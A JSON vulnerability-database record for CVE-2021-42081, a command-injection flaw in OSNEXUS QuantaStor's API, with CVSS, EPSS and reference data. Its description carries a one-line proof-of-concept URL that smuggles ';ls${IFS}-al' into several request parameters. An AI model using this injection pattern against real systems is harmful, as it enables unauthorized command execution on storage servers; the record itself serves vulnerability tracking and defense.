{"cve":"CVE-2021-42081","nvd":{"published":"2023-07-10T16:15:47.583","modified":"2026-06-17T04:09:16.857","status":"Modified","description":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2},"cwes":["CWE-78"],"references":["https://csirt.divd.nl/CVE-2021-42081","https://csirt.divd.nl/DIVD-2021-00020/","https://www.osnexus.com/products/software-defined-storage","https://www.wbsec.nl/osnexus","https://csirt.divd.nl/CVE-2021-42081"],"products":["osnexus:quantastor"],"source":"nvd","synced_at":"2026-10-19T21:38:30.124994567+00:00"},"epss":{"cve":"CVE-2021-42081","score":0.0123,"percentile":0.68947,"date":"2026-11-01"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}